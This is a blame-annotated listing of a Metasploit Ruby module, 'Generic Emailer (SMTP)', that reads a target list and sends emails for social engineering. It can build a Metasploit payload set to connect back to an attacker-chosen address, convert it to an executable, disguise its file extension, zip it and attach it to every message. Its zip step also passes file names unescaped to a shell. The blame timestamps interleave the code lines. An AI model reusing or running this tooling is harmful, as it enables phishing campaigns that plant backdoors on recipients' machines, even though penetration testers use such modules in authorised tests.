2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
2009-01-19 01:18:00 +00:00
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-01-19 01:18:00 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-01-19 01:18:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'yaml'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
#
|
|
|
|
# This module sends email messages via smtp
|
|
|
|
#
|
|
|
|
include Msf::Exploit::Remote::SMTPDeliver
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Generic Emailer (SMTP)',
|
|
|
|
'Description' => %q{
|
2010-07-01 23:33:07 +00:00
|
|
|
This module can be used to automate email delivery.
|
|
|
|
This code is based on Joshua Abraham's email script for social
|
|
|
|
engineering.
|
2009-01-19 01:18:00 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://spl0it.org/' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2009-01-19 01:18:00 +00:00
|
|
|
'Author' => [ 'et <et[at]metasploit.com>' ]))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-01-19 01:18:00 +00:00
|
|
|
OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']),
|
|
|
|
OptString.new('RPORT', [true, "SMTP server port",'25']),
|
|
|
|
OptString.new('YAML_CONFIG', [true, "Full path to YAML Configuration file",File.join(Msf::Config.install_root, "data","emailer_config.yaml")]),
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
# Hide this option from the user
|
2009-03-28 06:03:35 +00:00
|
|
|
deregister_options('MAILTO')
|
2009-01-19 01:18:00 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
def run
|
2009-03-28 06:03:35 +00:00
|
|
|
|
2010-07-01 23:33:07 +00:00
|
|
|
fileconf = File.open(datastore['YAML_CONFIG'], "rb")
|
2010-04-30 08:40:19 +00:00
|
|
|
yamlconf = YAML::load(fileconf)
|
|
|
|
|
|
|
|
fileto = yamlconf['to']
|
2009-01-19 01:18:00 +00:00
|
|
|
from = yamlconf['from']
|
|
|
|
subject = yamlconf['subject']
|
|
|
|
type = yamlconf['type']
|
|
|
|
msg_file = yamlconf['msg_file']
|
|
|
|
wait = yamlconf['wait']
|
|
|
|
add_name = yamlconf['add_name']
|
|
|
|
sig = yamlconf['sig']
|
|
|
|
sig_file = yamlconf['sig_file']
|
|
|
|
attachment = yamlconf['attachment']
|
|
|
|
attachment_file = yamlconf['attachment_file']
|
|
|
|
attachment_file_type = yamlconf['attachment_file_type']
|
|
|
|
attachment_file_name = yamlconf['attachment_file_name']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-12 03:57:25 +00:00
|
|
|
### payload options ###
|
|
|
|
make_payload = yamlconf['make_payload']
|
|
|
|
zip_payload = yamlconf['zip_payload']
|
|
|
|
msf_port = yamlconf['msf_port']
|
|
|
|
msf_ip = yamlconf['msf_ip']
|
|
|
|
msf_payload = yamlconf['msf_payload']
|
|
|
|
msf_filename = yamlconf['msf_filename']
|
|
|
|
msf_change_ext = yamlconf['msf_change_ext']
|
|
|
|
msf_payload_ext = yamlconf['msf_payload_ext']
|
|
|
|
|
|
|
|
|
2010-06-11 05:52:03 +00:00
|
|
|
tmp = Dir.tmpdir
|
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
datastore['MAILFROM'] = from
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-01 23:33:07 +00:00
|
|
|
msg = File.open(msg_file, 'rb').read
|
|
|
|
email_sig = File.open(sig_file, 'rb').read
|
2009-01-19 01:18:00 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
if (type !~ /text/i and type !~ /text\/html/i)
|
2009-01-19 01:18:00 +00:00
|
|
|
print_error("YAML config: #{type}")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
if make_payload
|
2010-06-11 05:52:03 +00:00
|
|
|
attachment_file = File.join(tmp, msf_filename)
|
|
|
|
attachment_file_name = msf_filename
|
|
|
|
|
2010-06-11 05:29:56 +00:00
|
|
|
print_status("Creating payload...")
|
|
|
|
mod = framework.payloads.create(msf_payload)
|
2010-06-11 05:52:03 +00:00
|
|
|
if (not mod)
|
2010-06-11 05:29:56 +00:00
|
|
|
print_error("Failed to create payload, #{msf_payload}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-06-11 05:52:03 +00:00
|
|
|
# By not passing an explicit encoder, we're asking the
|
|
|
|
# framework to pick one for us. In general this is the best
|
|
|
|
# way to encode.
|
|
|
|
buf = mod.generate_simple(
|
|
|
|
'Format' => 'raw',
|
|
|
|
'Options' => { "LHOST"=>msf_ip, "LPORT"=>msf_port }
|
|
|
|
)
|
|
|
|
exe = Msf::Util::EXE.to_executable(framework, mod.arch, mod.platform, buf)
|
|
|
|
|
|
|
|
print_status("Writing payload to #{attachment_file}")
|
|
|
|
# XXX If Rex::Zip will let us zip a buffer instead of a file,
|
|
|
|
# there's no reason to write this out
|
|
|
|
File.open(attachment_file, "wb") do |f|
|
|
|
|
f.write(exe)
|
|
|
|
end
|
|
|
|
|
2010-06-11 05:29:56 +00:00
|
|
|
if msf_change_ext
|
2010-06-11 05:52:03 +00:00
|
|
|
msf_payload_newext = attachment_file
|
2010-06-11 05:29:56 +00:00
|
|
|
msf_payload_newext = msf_payload_newext.sub(/\.\w+$/, ".#{msf_payload_ext}")
|
2010-06-11 05:52:03 +00:00
|
|
|
File.rename(attachment_file, msf_payload_newext)
|
|
|
|
attachment_file = msf_payload_newext
|
2010-06-11 05:29:56 +00:00
|
|
|
end
|
2009-07-12 03:57:25 +00:00
|
|
|
|
2010-06-11 05:29:56 +00:00
|
|
|
if zip_payload
|
2010-06-11 05:52:03 +00:00
|
|
|
zip_file = attachment_file.sub(/\.\w+$/, '.zip')
|
|
|
|
system("zip -r #{zip_file} #{attachment_file}> /dev/null 2>&1");
|
|
|
|
attachment_file = zip_file
|
2010-06-11 05:29:56 +00:00
|
|
|
attachment_file_type = 'application/zip'
|
|
|
|
else
|
|
|
|
attachment_file_type = 'application/exe'
|
|
|
|
end
|
|
|
|
|
2009-07-12 03:57:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-07-01 23:33:07 +00:00
|
|
|
File.open(fileto, 'rb').each do |l|
|
2010-06-11 05:52:03 +00:00
|
|
|
next if l !~ /\@/
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
nem = l.split(',')
|
|
|
|
name = nem[0].split(' ')
|
|
|
|
fname = name[0]
|
|
|
|
lname = name[1]
|
|
|
|
email = nem[1]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
|
|
|
if add_name
|
|
|
|
email_msg_body = "#{fname},\n\n#{msg}"
|
|
|
|
else
|
2009-01-19 01:18:00 +00:00
|
|
|
email_msg_body = msg
|
|
|
|
end
|
|
|
|
|
|
|
|
if sig
|
2010-07-01 23:33:07 +00:00
|
|
|
data_sig = File.open(sig_file, 'rb').read
|
2009-01-19 01:18:00 +00:00
|
|
|
email_msg_body = "#{email_msg_body}\n#{data_sig}"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-12 03:57:25 +00:00
|
|
|
print_status("Emailing #{name[0]} #{name[1]} at #{email}")
|
2009-01-19 01:18:00 +00:00
|
|
|
|
|
|
|
mime_msg = Rex::MIME::Message.new
|
|
|
|
mime_msg.mime_defaults
|
|
|
|
|
|
|
|
mime_msg.from = from
|
|
|
|
mime_msg.to = email
|
2009-08-25 02:59:50 +00:00
|
|
|
datastore['MAILTO'] = email.strip
|
2009-01-19 01:18:00 +00:00
|
|
|
mime_msg.subject = subject
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
mime_msg.add_part(Rex::Text.encode_base64(email_msg_body, "\r\n"), type, "base64", "inline")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
if attachment
|
|
|
|
if attachment_file_name
|
2010-07-01 23:33:07 +00:00
|
|
|
data_attachment = File.open(attachment_file, 'rb').read
|
2009-01-19 01:18:00 +00:00
|
|
|
mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, "base64", "attachment; filename=\"#{attachment_file_name}\"")
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-04-17 00:21:19 +00:00
|
|
|
send_message(mime_msg.to_s)
|
2010-06-22 18:58:38 +00:00
|
|
|
select(nil,nil,nil,wait)
|
2009-01-19 01:18:00 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 01:18:00 +00:00
|
|
|
print_status("Email sent..")
|
|
|
|
end
|
2010-06-11 05:29:56 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|